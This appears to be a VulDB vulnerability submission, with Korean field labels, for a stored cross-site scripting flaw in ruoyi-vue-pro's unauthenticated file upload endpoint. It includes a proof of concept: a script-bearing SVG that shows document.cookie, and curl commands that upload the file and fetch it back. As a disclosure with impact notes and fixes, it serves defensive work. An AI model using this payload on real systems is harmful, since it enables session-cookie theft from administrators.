| 제목 | zhijiantianya ruoyi-vue-pro 2026.06 跨站脚本 |
|---|
| 설명 | A stored cross-site scripting (XSS) vulnerability was discovered in the file upload functionality of ruoyi-vue-pro (yudao-server). The application allows uploading SVG files without content type validation. When the uploaded SVG file is accessed, it is served with Content-Type: image/svg+xml and Content-Disposition: inline, causing the browser to execute JavaScript embedded in the SVG.
Vulnerable file: yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java
Critical finding: The app-api endpoint (/app-api/infra/file/upload) is annotated with @PermitAll, allowing unauthenticated attackers to upload malicious SVG files.
Affected endpoints:
- POST /app-api/infra/file/upload (unauthenticated, @PermitAll)
- POST /admin-api/infra/file/upload (authenticated)
Proof of Concept:
```bash
# Create malicious SVG
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script type="text/ecmascript">alert(document.cookie)</script>
</svg>
EOF
# Upload SVG (no authentication required)
curl -X POST 'http://target:48080/app-api/infra/file/upload' \
-H 'tenant-id: 1' -F '[email protected]'
# Response: {"code":0,"data":"http://target/admin-api/infra/file/4/get/.../xss.svg"}
# Access file (no authentication required)
curl -I 'http://target:48080/admin-api/infra/file/4/get/.../xss.svg'
# Content-Type: image/svg+xml;charset=UTF-8
# Content-Disposition: inline;filename="xss.svg"
```
When victim browser accesses the file URL, JavaScript in SVG is executed.
Verification results (dynamically confirmed):
- SVG upload successful (app-api, no authentication)
- File served with image/svg+xml + inline
- Browser executes JavaScript in SVG
- File access requires no authentication
Impact:
1. Stored XSS: malicious SVG persisted on server
2. Cookie theft: steal admin session cookies
3. Unauthenticated exploitation: attacker needs no login
CVSS 3.1: 7.5 High (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
Solution:
1. File type whitelist: block SVG, HTML
2. Force SVG as application/octet-stream + attachment
3. Or sanitize SVG content (remove <script> tags) |
|---|
| 원천 | ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java |
|---|
| 사용자 | liuyulin (UID 100186) |
|---|
| 제출 | 2026. 07. 29. AM 03:46 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 24. PM 01:34 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 409330 [YunaiV/zhijiantianya ruoyi-vue-pro 까지 2026.08 File Upload FileController.java 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|